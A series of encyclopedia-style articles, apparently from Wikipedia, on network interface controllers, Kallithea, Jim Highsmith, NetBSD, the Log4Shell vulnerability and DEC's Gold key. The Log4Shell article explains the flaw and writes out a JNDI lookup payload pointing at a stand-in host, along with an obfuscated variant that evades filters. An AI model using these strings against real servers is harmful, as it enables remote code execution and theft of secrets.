The NIC allows computers to communicate over a computer network, either by using cables or wirelessly. The NIC is both a physical layer and data link layer device, as it provides physical access to a networking medium and, for IEEE 802 and similar networks, provides a low-level addressing system through the use of MAC addresses that are uniquely assigned to network interfaces.
Implementation
Network controllers were originally implemented as expansion cards that plugged into a computer bus. The low cost and ubiquity of the Ethernet standard means that most new computers have a network interface controller built into the motherboard. Newer server motherboards may have multiple network interfaces built-in. The Ethernet capabilities are either integrated into the motherboard chipset or implemented via a low-cost dedicated Ethernet chip. A separate network card is typically no longer required unless additional independent network connections are needed or some non-Ethernet type of network is used. A general trend in computer hardware is towards integrating the various components of systems on a chip, and this is also applied to network interface cards.
An Ethernet network controller typically has an 8P8C socket where the network cable is connected. Older NICs also supplied BNC, or AUI connections. Ethernet network controllers typically support 10 Mbit/s Ethernet, 100 Mbit/s Ethernet, and 1000 Mbit/s Ethernet varieties. Such controllers are designated as 10/100/1000, meaning that they can support data rates of 10, 100 or 1000 Mbit/s. 10 Gigabit Ethernet NICs are also available, and, , are beginning to be available on computer motherboards.
Modular designs like SFP and SFP+ are highly popular, especially for fiber-optic communication. These define a standard receptacle for media-dependent transceivers, so users can easily adapt the network interface to their needs.
LEDs adjacent to or integrated into the network connector inform the user of whether the network is connected, and when data activity occurs.
The NIC may use one or more of the following techniques to indicate the availability of packets to transfer:
Polling is where the CPU examines the status of the peripheral under program control.
Interrupt-driven I/O is where the peripheral alerts the CPU that it is ready to transfer data.
NICs may use one or more of the following techniques to transfer packet data:
Programmed input/output, where the CPU moves the data to or from the NIC to memory.
Direct memory access (DMA), where a device other than the CPU assumes control of the system bus to move data to or from the NIC to memory. This removes load from the CPU but requires more logic on the card. In addition, a packet buffer on the NIC may not be required and latency can be reduced.
Performance and advanced functionality
Multiqueue NICs provide multiple transmit and receive queues, allowing packets received by the NIC to be assigned to one of its receive queues. The NIC may distribute incoming traffic between the receive queues using a hash function. Each receive queue is assigned to a separate interrupt; by routing each of those interrupts to different CPUs or CPU cores, processing of the interrupt requests triggered by the network traffic received by a single NIC can be distributed improving performance.
The hardware-based distribution of the interrupts, described above, is referred to as receive-side scaling (RSS). Purely software implementations also exist, such as the receive packet steering (RPS) and receive flow steering (RFS). Further performance improvements can be achieved by routing the interrupt requests to the CPUs or cores executing the applications that are the ultimate destinations for network packets that generated the interrupts. This technique improves Locality of reference and results in higher overall performance, reduced latency and better hardware utilization because of the higher utilization of CPU caches and fewer required context switches. Examples of such implementations are the RFS and Intel Flow Director.
With multi-queue NICs, additional performance improvements can be achieved by distributing outgoing traffic among different transmit queues. By assigning different transmit queues to different CPUs or CPU cores, internal operating system contentions can be avoided. This approach is usually referred to as transmit packet steering (XPS).
Some products feature NIC partitioning (NPAR, also known as port partitioning) that uses SR-IOV virtualization to divide a single 10 Gigabit Ethernet NIC into multiple discrete virtual NICs with dedicated bandwidth, which are presented to the firmware and operating system as separate PCI device functions.
TCP offload engine is a technology used in some NICs to offload processing of the entire TCP/IP stack to the network controller. It is primarily used with high-speed network interfaces, such as Gigabit Ethernet and 10 Gigabit Ethernet, for which the processing overhead of the network stack becomes significant.
Some NICs offer integrated field-programmable gate arrays (FPGAs) for user-programmable processing of network traffic before it reaches the host computer, allowing for significantly reduced latencies in time-sensitive workloads. Moreover, some NICs offer complete low-latency TCP/IP stacks running on integrated FPGAs in combination with userspace libraries that intercept networking operations usually performed by the operating system kernel; Solarflare's open-source OpenOnload network stack that runs on Linux is an example. This kind of functionality is usually referred to as user-level networking.
See also
Converged network adapter (CNA)
Host adapter
Intel Data Direct I/O (DDIO)
Loopback interface
Network monitoring interface card (NMIC)
Virtual network interface (VIF)
Wireless network interface controller (WNIC)
Notes
References
External links
Multi-queue network interfaces with SMP on Linux
Ethernet
Networking hardware
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44765059
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https://en.wikipedia.org/wiki/Kallithea%20%28software%29
|
Kallithea (software)
|
Kallithea is a cross-platform free software source code management system, the primary goal of which is to provide a repository hosting service with features for collaboration, such as forking, pull requests, code review, issue tracking etc. Kallithea is a fork of RhodeCode, created after the original developer had changed the license terms. While earlier versions of RhodeCode were licensed entirely under the GNU General Public License version 3, RhodeCode version 2.0 (released in August 2013) introduced exceptions for parts of the software distribution. According to Bradley M. Kuhn of Software Freedom Conservancy, this exception statement is ambiguous and "leaves the redistributor feeling unclear about their rights".
Kallithea is mostly written in Python.
Kallithea is a member project of Software Freedom Conservancy.
Features
Kallithea supports hosting repositories of Mercurial and Git version control systems. Repositories can be grouped and thus allow to define common properties like access control. Its web interface for projects allows to fork as well as management of pull requests. It can also be used to quickly exchange code snippets by means of a revision controlled pastebin ("gists").
See also
Comparison of project management software
List of tools for code review
Comparison of source code hosting facilities
Apache Allura
Apache Bloodhound
Trac
References
External links
Open-source hosted development tools
Project management software
Free software programmed in Python
Free project management software
Version control
Software review
Software forks
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5287248
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https://en.wikipedia.org/wiki/Jim%20Highsmith
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Jim Highsmith
|
James A. Highsmith III (born 1945) is an American software engineer and author of books in the field of software development methodology. He is the creator of Adaptive Software Development, described in his 1999 book "Adaptive Software Development", and winner of the 2000 Jolt Award, and the Stevens Award in 2005. Highsmith was one of the 17 original signatories of the Agile Manifesto, the founding document for agile software development.
Life and work
Jim Highsmith has more than 25 years experience as an IT manager, project manager, product manager, consultant, and software developer. He has consulted with IT, software, and product-development companies in the U.S., Europe, Canada, Japan, India, South Africa, Australia, and New Zealand to help them adapt to an accelerated pace of development in increasingly complex, unstable environments. He has also worked at NASA. Jim Highsmith's areas of consulting include agile software development, collaboration, and project management. Highsmith was also an executive consultant at Thoughtworks, a global software consultancy company.
Working as a principal of Information Architects, Inc., based in Salt Lake City, Highsmith taught and consulted on software quality process improvement, project management, and accelerated development techniques. He has also served as director of the Agile Project Management Advisory Service for the Cutter Consortium. The Cutter Consortium is an IT advisory firm that has included a group of more than 125 internationally recognized experts who have come together to offer information, consulting and training. He is also one of the founders of the Agile Project Leadership Network.
In the book Adaptive Software Development (1999), Jim Highsmith uses the analogy of mountain climbing to illustrate his points about teamwork, planning, and adaptation to rapidly changing conditions. The book contains the following adage: Rules can be barriers to hide behind or guidelines for the wise to consider and break when the circumstances justify it. The book also covers the concepts of accidental software development, the adaptive conceptual model, and the adaptive development model.
Publications
Jim Highsmith published several articles and books. A selection:
1999 Adaptive Software Development: A Collaborative Approach to Managing Complex Systems. Dorset House Publishing.
2002 Agile Software Development Ecosystems. Foreword by Tom DeMarco. Addison-Wesley Pearson Education.
2004 Agile Project Management: Creating Innovative Products. Addison-Wesley Professional.
2013 Adaptive Leadership: Accelerating Enterprise Agility. Addison-Wesley Professional.
2019 EDGE: Value-Driven Digital Transformation. Addison-Wesley Professional.
References
External links
Cutter Consortium
Highsmith: What Agile Needs to Do - Dr. Dobb's, March 2011
1945 births
American computer programmers
Businesspeople in software
Living people
American software engineers
American technology writers
Agile software development
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28901365
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https://en.wikipedia.org/wiki/NetBSD
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NetBSD
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NetBSD is a free and open-source Unix-like operating system based on the Berkeley Software Distribution (BSD). It was the first open-source BSD descendant officially released after 386BSD was forked. It continues to be actively developed and is available for many platforms, including servers, desktops, handheld devices, and embedded systems.
The NetBSD project focuses on code clarity, careful design, and portability across many computer architectures. Its source code is publicly available and permissively licensed.
History
NetBSD was originally derived from the 4.3BSD-Reno release of the Berkeley Software Distribution from the Computer Systems Research Group of the University of California, Berkeley, via their Net/2 source code release and the 386BSD project. The NetBSD project began as a result of frustration within the 386BSD developer community with the pace and direction of the operating system's development. The four founders of the NetBSD project, Chris Demetriou, Theo de Raadt, Adam Glass, and Charles Hannum, felt that a more open development model would benefit the project: one centered on portable, clean, correct code. They aimed to produce a unified, multi-platform, production-quality, BSD-based operating system. The name "NetBSD" was chosen based on the importance and growth of networks such as the Internet at that time, and the distributed, collaborative nature of its development.
The NetBSD source code repository was established on 21 March 1993 and the first official release, NetBSD 0.8, was made on 19 April 1993. This was derived from 386BSD 0.1 plus the version 0.2.2 unofficial patchkit, with several programs from the Net/2 release missing from 386BSD re-integrated, and various other improvements. The first multi-platform release, NetBSD 1.0, was made in October 1994, and being updated with 4.4BSD-Lite sources, it was free of all legally encumbered 4.3BSD Net/2 code. Also in 1994, for disputed reasons, one of the founders, Theo de Raadt, was removed from the project. He later founded a new project, OpenBSD, from a forked version of NetBSD 1.0 near the end of 1995.
In 1998, NetBSD 1.3 introduced the pkgsrc packages collection.
Until 2004, NetBSD 1.x releases were made at roughly annual intervals, with minor "patch" releases in between. From release 2.0 onwards, NetBSD uses semantic versioning, and each major NetBSD release corresponds to an incremented major version number, i.e. the major releases following 2.0 are 3.0, 4.0 and so on. The previous minor releases are now divided into two categories: x.y "stable" maintenance releases and x.y.z releases containing only security and critical fixes.
Features
Portability
As the project's motto ("Of course it runs NetBSD" ) suggests, NetBSD has been ported to a large number of 32- and 64-bit architectures. These range from VAX minicomputers to Pocket PC PDAs. As of 2019, NetBSD supports 59 hardware platforms (across 16 different instruction sets). The kernel and userland for these platforms are all built from a central unified source-code tree managed by CVS. Currently, unlike other kernels such as μClinux, the NetBSD kernel requires the presence of an MMU in any given target architecture.
NetBSD's portability is aided by the use of hardware abstraction layer interfaces for low-level hardware access such as bus input/output or DMA. Using this portability layer, device drivers can be split into "machine-independent" and "machine-dependent" components. This makes a single driver easily usable on several platforms by hiding hardware access details, and reduces the work to port it to a new system.
This permits a particular device driver for a PCI card to work without modifications, whether it is in a PCI slot on an IA-32, Alpha, PowerPC, SPARC, or other architecture with a PCI bus. Also, a single driver for a specific device can operate via several different buses, like ISA, PCI, or PC Card.
In comparison, Linux device driver code often must be reworked for each new architecture. As a consequence, in porting efforts by NetBSD and Linux developers, NetBSD has taken much less time to port to new hardware.
This platform independence aids the development of embedded systems, particularly since NetBSD 1.6, when the entire toolchain of compilers, assemblers, linkers, and other tools fully support cross-compiling.
In 2005, as a demonstration of NetBSD's portability and suitability for embedded applications, Technologic Systems, a vendor of embedded systems hardware, designed and demonstrated a NetBSD-powered kitchen toaster.
Commercial ports to embedded platforms, including the AMD Geode LX800, Freescale PowerQUICC processors, Marvell Orion, AMCC 405 family of PowerPC processors, Intel XScale IOP and IXP series, were available from and supported by Wasabi Systems.
Portable build framework
The NetBSD cross-compiling framework (also known as "build.sh") lets a developer build a complete NetBSD system for an architecture from a more powerful system of different architecture (cross-compiling), including on a different operating system (the framework supports most POSIX-compliant systems). Several embedded systems using NetBSD have required no additional software development other than toolchain and target rehost.
The pkgsrc packages collection
NetBSD features pkgsrc (short for "package source"), a framework for building and managing third-party application software packages. The pkgsrc collection consists of more than 20,000 packages as of . Building and installing packages such as KDE, GNOME, the Apache HTTP Server or Perl is performed through the use of a system of makefiles. This can automatically fetch the source code, unpack, patch, configure, build and install the package such that it can be removed again later. An alternative to compiling from source is to use a precompiled binary package. In either case, any prerequisites/dependencies will be installed automatically by the package system, without need for manual intervention.
pkgsrc supports not only NetBSD, but also several other BSD variants like FreeBSD and Darwin/Mac OS X, and other Unix-like operating systems such as Linux, Solaris, IRIX, and others, as well as Interix. pkgsrc was previously adopted as the official package management system for DragonFly BSD.
Symmetric multiprocessing
NetBSD has supported SMP since the NetBSD 2.0 release in 2004, which was initially implemented using the giant lock approach. During the development cycle of the NetBSD 5 release, major work was done to improve SMP support; most of the kernel subsystems were modified to use the fine-grained locking approach. New synchronization primitives were implemented and scheduler activations was replaced with a 1:1 threading model in February 2007. A scalable M2 thread scheduler was implemented, though the old 4.4BSD scheduler still remains the default but was modified to scale with SMP. Threaded software interrupts were implemented to improve synchronization. The virtual memory system, memory allocator and trap handling were made MP safe. The file system framework, including the VFS and major file systems were modified to be MP safe. Since April 2008 the only subsystems running with a giant lock are the network protocols and most device drivers.
Security
NetBSD provides various features in the security area. The Kernel Authorization framework (or Kauth) is a subsystem managing all authorization requests inside the kernel, and used as system-wide security policy. It allows external modules to plug-in the authorization process. NetBSD also incorporates exploit mitigation features, ASLR, KASLR, restricted mprotect() and Segvguard from the PaX project, and GCC Stack Smashing Protection (SSP, or also known as ProPolice, enabled by default since NetBSD 6.0) compiler extensions. Verified Executables (or Veriexec) is an in-kernel file integrity subsystem in NetBSD. It allows the user to set digital fingerprints (hashes) of files, and take a number of different actions if files do not match their fingerprints. For example, one can allow Perl to run only scripts that match their fingerprints. The cryptographic device driver (CGD) allows using disks or partitions (including CDs and DVDs) for encrypted storage.
Virtualization
The Xen virtual-machine monitor has been supported in NetBSD since release 3.0. The use of Xen requires a special pre-kernel boot environment that loads a Xen-specialized kernel as the "host OS" (Dom0). Any number of "guest OSes" (DomU) virtualized computers, with or without specific Xen/DomU support, can be run in parallel with the appropriate hardware resources.
The need for a third-party boot manager, such as GRUB, was eliminated with NetBSD 5's Xen-compatible boot manager. NetBSD 6 as a Dom0 has been benchmarked comparably to Linux, with better performance than Linux in some tests.
As of NetBSD 9.0, accelerated virtualization is provided through the native hypervisor NVMM (NetBSD Virtual Machine Monitor).
It provides a virtualization API, libnvmm, that can be leveraged by emulators such as QEMU. A unique property of NVMM is that the kernel never accesses guest VM memory, only creating it.
Intel's Hardware Accelerated Execution Manager (HAXM) provides an alternative solution for acceleration in QEMU for Intel CPUs only, similar to Linux's KVM.
NetBSD 5.0 introduced the rump kernel, an architecture to run drivers in user-space by emulating kernel-space calls. This anykernel architecture allows adding support of NetBSD drivers to other kernel architectures, ranging from exokernels to monolithic kernels.
Storage
NetBSD includes many enterprise features like iSCSI, a journaling filesystem, logical volume management and the ZFS filesystem.
The bio(4) interface for vendor-agnostic RAID volume management through bioctl has been available in NetBSD since 2007.
The WAPBL journaling filesystem, an extension of the BSD FFS filesystem, was contributed by Wasabi Systems in 2008.
The NetBSD Logical Volume Manager is based on a BSD reimplementation of a device-mapper driver and a port of the Linux Logical Volume Manager tools. It was mostly written during the Google Summer of Code 2008.
The ZFS filesystem developed by Sun Microsystems was imported into the NetBSD base system in 2009. Currently, the NetBSD ZFS port is based on ZFS version 22.
The CHFS Flash memory filesystem was imported into NetBSD in November 2011. CHFS is a file system developed at the Department of Software Engineering, University of Szeged, Hungary, and is the first open source Flash-specific file system written for NetBSD.
Compatibility with other operating systems
At the source code level, NetBSD is very nearly entirely compliant with POSIX.1 (IEEE 1003.1-1990) standard and mostly compliant with POSIX.2 (IEEE 1003.2-1992).
NetBSD provides system call-level binary compatibility on the appropriate processor architectures with its previous releases, but also with several other UNIX-derived and UNIX-like operating systems, including Linux, and other 4.3BSD derivatives like SunOS 4. This allows NetBSD users to run many applications that are only distributed in binary form for other operating systems, usually with no significant loss of performance.
A variety of "foreign" disk filesystem formats are also supported in NetBSD, including ZFS, FAT, NTFS, Linux ext2fs, Apple HFS and OS X UFS, RISC OS FileCore/ADFS, AmigaOS Fast File System, IRIX EFS, Version 7 Unix File System, and many more through PUFFS.
Kernel scripting
Kernel-space scripting with the Lua programming language is a relatively new feature in NetBSD; it is available as of NetBSD 7.0. The Lua language (i.e., its interpreter and standard libraries) was initially ported to the NetBSD kernel during Google Summer of Code 2010 and has undergone several improvements since then. There are two main differences between user and kernel space Lua: kernel Lua does not support floating-point numbers; as such, only Lua integers are available. It also does not have full support to user space libraries that rely on the operating system (e.g., io and os).
Sensors
NetBSD has featured a native hardware monitoring framework since 1999/2000, and in 2003, it served as the inspiration behind the OpenBSD's sysctl hw.sensors framework when some NetBSD drivers were being ported to OpenBSD.
, NetBSD had close to 85 device drivers exporting data through the API of the envsys framework. Since the 2007 revision, serialisation of data between the kernel and userland is done through XML property lists with the help of NetBSD's proplib(3).
Uses
NetBSD's clean design, high performance, scalability, and support for many architectures has led to its use in embedded devices and servers, especially in networking applications.
A commercial real-time operating system, QNX, uses a network stack based on NetBSD code, and provides various drivers ported from NetBSD.
Dell Force10 uses NetBSD as the underlying operating system that powers FTOS (the Force10 Operating System), which is used in high scalability switch/routers. Force10 also made a donation to the NetBSD Foundation in 2007 to help further research and the open development community.
Wasabi Systems provides a commercial Wasabi Certified BSD product based on NetBSD with proprietary enterprise features and extensions, which are focused on embedded, server and storage applications.
NetBSD was used in NASA's SAMS-II Project of measuring the microgravity environment on the International Space Station, and for investigations of TCP for use in satellite networks.
In 2004, SUNET used NetBSD to set the Internet2 Land Speed Record. NetBSD was chosen "due to the scalability of the TCP code".
NetBSD is also used in Apple's AirPort Extreme and Time Capsule products, instead of their own OS X (most of whose Unix-level userland code is derived from FreeBSD code but some is derived from NetBSD code).
The operating system of the T-Mobile Sidekick LX 2009 smartphone is based on NetBSD.
The Minix operating system uses a mostly NetBSD userland as well as its pkgsrc packages infrastructure since version 3.2.
Parts of macOS were originally taken from NetBSD, such as some userspace command line tools.
Licensing
All of the NetBSD kernel and most of the core userland source code is released under the terms of the BSD License (two, three, and four-clause variants). This essentially allows everyone to use, modify, redistribute or sell it as they wish, as long as they do not remove the copyright notice and license text (the four-clause variants also include terms relating to publicity material). Thus, the development of products based on NetBSD is possible without having to make modifications to the source code public. In contrast, the GPL, which does not apply to NetBSD, stipulates that changes to source code of a product must be released to the product recipient when products derived from those changes are released.
On 20 June 2008, the NetBSD Foundation announced a transition to the two clause BSD license, citing concerns with UCB support of clause 3 and industry applicability of clause 4.
NetBSD also includes the GNU development tools and other packages, which are covered by the GPL and other open source licenses. As with other BSD projects, NetBSD separates those in its base source tree to make it easier to remove code that is under more restrictive licenses. As for packages, the installed software licenses may be controlled by modifying the list of allowed licenses in the pkgsrc configuration file (mk.conf).
Releases
The following table lists major NetBSD releases and their notable features in reverse chronological order. Minor and patch releases are not included.
Logo
The NetBSD "flag" logo, designed by Grant Bissett, was introduced in 2004 and is an abstraction of their older logo, designed by Shawn Mueller in 1994. Mueller's version was based on the famous World War II photograph Raising the Flag on Iwo Jima.
The NetBSD Foundation
The NetBSD Foundation is the legal entity that owns the intellectual property and trademarks associated with NetBSD, and on 22 January 2004, became a 501(c)3 tax-exempt non-profit organization. The members of the foundation are developers who have CVS commit access. The NetBSD Foundation has a Board of Directors, elected by the voting of members for two years.
Hosting
Hosting for the project is provided primarily by Columbia University, and Western Washington University, fronted by a CDN provided by Fastly. Mirrors for the project are spread around the world and provided by volunteers and supporters of the project.
See also
Comparison of operating systems
Comparison of operating system kernels
References
External links
ARM operating systems
Lightweight Unix-like systems
PowerPC operating systems
Software using the BSD license
1993 software
X86-64 operating systems
IA-32 operating systems
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69481773
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https://en.wikipedia.org/wiki/Log4Shell
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Log4Shell
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Log4Shell (CVE-2021-44228) was a zero-day vulnerability in Log4j, a popular Java logging framework, involving arbitrary code execution. The vulnerability has existed unnoticed since 2013 and was privately disclosed to the Apache Software Foundation, of which Log4j is a project, by Chen Zhaojun of Alibaba Cloud's security team on 24 November 2021, and was publicly disclosed on 9 December 2021. Apache gave Log4Shell a CVSS severity rating of 10, the highest available score. The exploit is simple to execute and is estimated to affect hundreds of millions of devices.
The vulnerability takes advantage of Log4j's allowing requests to arbitrary LDAP and JNDI servers, allowing attackers to execute arbitrary Java code on a server or other computer, or leak sensitive information. A list of its affected software projects has been published by the Apache Security Team. Affected commercial services include Amazon Web Services, Cloudflare, iCloud, Minecraft: Java Edition, Steam, Tencent QQ and many others. According to Wiz and EY, the vulnerability affected 93% of enterprise cloud environments.
Experts described Log4Shell as the largest vulnerability ever; LunaSec characterized it as "a design failure of catastrophic proportions", Tenable said the exploit was "the single biggest, most critical vulnerability ever", Ars Technica called it "arguably the most severe vulnerability ever" and The Washington Post said that descriptions by security professionals "border on the apocalyptic".
Background
Log4j is an open source logging framework that allows software developers to log data within their applications. This data can include user input. It is used ubiquitously in Java applications, especially enterprise software. Originally written in 2001 by Ceki Gülcü, it is now part of Apache Logging Services, a project of the Apache Software Foundation. Former cybersecurity commission member of U.S. President Barack Obama, Tom Kellermann, described Apache as "one of the giant supports of a bridge that facilitates the connective tissue between the worlds of applications and computer environments".
Behavior
The Java Naming and Directory Interface (JNDI) allows for lookup of Java objects at program runtime given a path to their data. JNDI can leverage several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is the Lightweight Directory Access Protocol (LDAP), a non-Java-specific protocol which retrieves the object data as a URL from an appropriate server, either local or anywhere on the Internet.
In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}. For example, Text: ${java:version} might be converted to Text: Java version 1.7.0_67. Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which case they will be substituted and sent to the attacker's server. Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP).
Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as ${jndi. Naive searches can be circumvented by obfuscating the request: ${${lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j. Even if an input, such as a first name, is not immediately logged, it may be later logged during internal processing and its contents executed.
Mitigation
Fixes for this vulnerability were released on 6 December 2021, three days before the vulnerability was published, in Log4j version 2.15.0-rc1. The fix included restricting the servers and protocols that may be used for lookups. Researchers discovered a related bug, CVE-2021-45046, that allows local or remote code execution in certain non-default configurations and was fixed in version 2.16.0, which disabled all features using JNDI and support for message lookups. Two more vulnerabilities in the library were found: a denial-of-service attack, tracked as CVE-2021-45105 and fixed in 2.17.0; and a difficult-to-exploit remote code execution vulnerability, tracked as CVE-2021-44832 and fixed in 2.17.1. For previous versions, the class org.apache.logging.log4j.core.lookup.JndiLookup needs to be removed from the classpath to mitigate both vulnerabilities. An early recommended fix for older versions was to set the system property log4j2.formatMsgNoLookups to true, but this change does not prevent exploitation of CVE-2021-45046 and was later found to not disable message lookups in all cases.
Newer versions of the Java Runtime Environment (JRE) also mitigate this vulnerability by blocking remote code from being loaded by default, although other attack vectors still exist in certain applications. Several methods and tools have been published to help detect the usage of vulnerable log4j versions in built Java packages.
Usage
The exploit allows hackers to gain control of vulnerable devices using Java. Some hackers employ the vulnerability to utilize the capabilities of the victims' devices; uses include cryptocurrency mining, creating botnets, sending spam, establishing backdoors and other illegal activities such as ransomware attacks. In the days following the publication of the vulnerability, Check Point monitored millions of attacks being initiated by hackers, with some researchers observing a rate of over one hundred attacks per minute that ultimately resulted with over 40% of business networks being attacked internationally.
According to Cloudflare CEO Matthew Prince, evidence for usage or testing of the exploit goes back as early as 1 December, nine days before it was publicly disclosed. According to cybersecurity firm GreyNoise, several IP addresses were scraping websites to check for servers that had the vulnerability. Several botnets began scanning for the vulnerability, including the Muhstik botnet by 10 December, as well as Mirai, Tsunami and XMRig. Conti was observed using the vulnerability on 17 December.
Some state-sponsored groups in China and Iran also utilized the exploit according to Check Point, though it is not known if the exploit was used by Israel, Russia or the United States prior to the disclosure of the vulnerability. Check Point said that on 15 December 2021, hackers backed by Iran attempted to infiltrate the networks of businesses and the government in Israel.
Response and impact
Governmental
In the United States, the director of the Cybersecurity and Infrastructure Security Agency (CISA), Jen Easterly, described the exploit as "one of the most serious I've seen in my entire career, if not the most serious", explaining that hundreds of millions of devices were affected and advising vendors to prioritize software updates. Civilian agencies contracted by the United States government had until 24 December 2021 to patch vulnerabilities, though this would have already allowed access to hundreds of thousands of targets by that date. The Federal Trade Commission (FTC) intends to use its full legal authority to pursue companies that fail to take reasonable steps to update used Log4j software to the most current version. In a White House meeting, the importance of security maintenance of open-source software – often also carried out largely by few volunteers – to national security was clarified. While some open source projects do have many eyes on them, others don't have many or any people ensuring their security.
The Canadian Centre for Cyber Security (CCCS) called on organizations to take immediate action. The Canada Revenue Agency temporarily shut down its online services after learning of the exploit, while the Government of Quebec closed almost 4,000 of its websites as a "preventative measure."
The Belgian Ministry of Defence experienced a breach attempt and was forced to shut down part of its network.
Germany's Bundesamt für Sicherheit in der Informationstechnik (BSI) designated the exploit as being at the agency's highest threat level, calling it an "extremely critical threat situation" (translated). It also reported that several attacks were already successful and that the extent of the exploit remained hard to assess. The Netherlands's National Cyber Security Centre (NCSC) began an ongoing list of vulnerable applications.
The Chinese Ministry of Industry and Information Technology suspended work with Alibaba Cloud as a cybersecurity threat intelligence partner for six months for failing to report the vulnerability to the government first.
Businesses
Research conducted by Wiz and EY showed that 93% of the cloud enterprise environment were vulnerable to Log4Shell. 7% of vulnerable workloads are exposed to the internet and prone to wide exploitation attempts. According to the research, ten days after the publication of the vulnerability (December 20, 2021) only 45% of vulnerable workloads were patched on average in cloud environments. Amazon, Google and Microsoft cloud data was affected by Log4Shell. Microsoft asked Windows and Azure customers to remain vigilant after observing state-sponsored and cyber-criminal attackers probing systems for the Log4j 'Log4Shell' flaw through December 2021.
The human resource management and workforce management company UKG, one of the largest businesses in the industry, was targeted by a ransomware attack that affected large businesses. UKG said it did not have evidence of Log4Shell being exploited in the incident, though analyst Allan Liska from cybersecurity company Recorded Future said there was possibly a connection.
As larger companies began to release patches for the exploit, the risk for small businesses increased as hackers focused on more vulnerable targets.
Privacy
Personal devices such as Smart TVs and security cameras connected to the internet were vulnerable to the exploit. They possibly remain vulnerable unless patched.
Analysis
almost half of all corporate networks globally have been actively probed, with over 60 variants of the exploit having been produced within 24 hours. Check Point Software Technologies in a detailed analysis described the situation as being "a true cyber-pandemic" and characterizing the potential for damage as being "incalculable". Several initial advisories exaggerated the amount of packages that were vulnerable, leading to false positives. Most notably, the "log4j-api" package was marked as vulnerable, while in reality further research showed that only the main "log4j-core" package was vulnerable. This was confirmed both in the original issue thread and by external security researchers.
Technology magazine Wired wrote that despite the previous "hype" surrounding multiple vulnerabilities, "the Log4j vulnerability... lives up to the hype for a host of reasons". The magazine explains that the pervasiveness of Log4j, the vulnerability being difficult to detect by potential targets and the ease of transmitting code to victims created a "combination of severity, simplicity, and pervasiveness that has the security community rattled". Wired also outlined stages of hackers using Log4Shell; cryptomining groups first using the vulnerability, data brokers then sell a "foothold" to cybercriminals, who finally go on to engage in ransomware attacks, espionage and destroying data.
Amit Yoran, CEO of Tenable and the founding director of the United States Computer Emergency Readiness Team, stated "[Log4Shell] is by far the single biggest, most critical vulnerability ever", noting that sophisticated attacks were beginning shortly after the bug, saying "We're also already seeing it leveraged for ransomware attacks, which, again, should be a major alarm bell ... We've also seen reports of attackers using Log4Shell to destroy systems without even looking to collect ransom, a fairly unusual behavior". Sophos's senior threat researcher Sean Gallagher said, "Honestly, the biggest threat here is that people have already gotten access and are just sitting on it, and even if you remediate the problem somebody's already in the network ... It's going to be around as long as the Internet."
According to a Bloomberg News report, some anger was directed at Apache's developers at their failure to fix the vulnerability after warnings about exploits of broad class of software including Log4j were made at a 2016 cybersecurity conference.
References
External links
Log4j website
Common Vulnerabilities and Exposures page
National Vulnerabilities Database page
Projects affected by cve-2021-44228, by Apache Security Team
2021 in computing
Injection exploits
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4695321
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https://en.wikipedia.org/wiki/Gold%20key%20%28DEC%29
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Gold key (DEC)
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The Gold key is a computer keyboard key used as a prefix to invoke a variety of single-key editing and formatting functions.
Usually located in the top-left position of the numeric keypad on platforms such as the VT100,
it is the signature element of a consistent user interface implemented by Digital Equipment Corporation across multiple product lines.
It is used within WPS, EDT, and many other common VAX programs. The key, typically located as the upper leftmost key on the numeric keypad on different terminals, was not necessarily colored gold. Some Digital Equipment Corporation (DEC) terminals would include keyboards where the gold key was labeled PF1, as on the VT100 and VT200, or was colored blue, as on the VT52. On some keyboards, the normal function of a key would be labeled on the lower portion of the key, while its alternate function activated with the GOLD key would be labeled above it.
Usage
The Gold Key is used to invoke single-key functions which may be located on either the main keyboard or the numeric keypad.
For example, on the WPS-8 word processing system, the main keyboard key is marked "CENTR", in gold lettering, on its front surface; the keystrokes invoke that word processing function to center the current line of text.
The Gold key is a prefix key, not a modifier key. A modifier key would be pressed and held while a second key is pressed; the Gold key is pressed and released before a second key is pressed and released.
In that sense, DEC and compatible software uses the Gold key in the same way that Emacs uses the escape key.
Origins
The base model VT50 terminal was equipped with a main keyboard only, and so had no Gold key.
The model VT50H added a numeric keypad, including three unlabeled keys whose functions would be determined by whatever program was running.
Located at the top left of the keypad, these were later named "PF" keys, and by convention, the first of them, , became the Gold key.
The VT50H numeric keypad was of limited usefulness in editing because, from the perspective of the computer receiving its input, most of the keypad's keys were indistinguishable from their equivalents on the main keyboard.
The VT52 terminal added an alternate keypad mode in which all keypad keys would send distinct character codes.
In his introduction to a 1990 DEC oral history presentation, Robert Everett, Fellow of the Computer History Museum, credited John T. (Jack) Gilmore with "designing Digital's gold keyboard interface".
Classic software
Software using Gold key keyboard functions was developed across multiple generations of DEC computers.
PDP-8 processors ran the WPS-8 word processing software package on several models of one- and two-user dedicated "word station" systems.
PDP-11 processors running RT-11 used the KED/KEX editors.
VAXen running VMS used the EDT editor, initially with either the VT52 or the VT100 (which have slightly different keypads).
Alpha AXP RISC processors running OpenVMS also used EDT, often with later-model terminals such as the VT220–VT420.
EDT recognizes an additional usage for the Gold key, to enter a repeat count. For example, the keystrokes enter a line of twenty equals signs. Repeat counts also apply to keypad editing commands, but if such a command itself requires the Gold key, the Gold key must be pressed again before the command key. For example, assuming a VT100 keypad, perform the PASTE editing command (once), while performs PASTE four times. For editing commands which are directional, such as moving the cursor, negative repeat counts may be used to indicate reverse direction.
VAX and Alpha VMS systems supported the ALL-IN-1 office application suite, including the WPS-Plus word processor.
Compatibility and continuity
Various hardware and software products have been produced to maintain compatibility with both the variety of legacy Gold key host systems and with the expertise and preferences of the many Gold key users.
At the same time that DEC was selling VAX-based WPS-Plus in the late 1980s, Exceptional Business Solutions of Culver City, California, sold a PC-based word processor named WPS-PC, "designed for users who have experience with the DEC family of Gold-key word processors and would rather fight than switch."
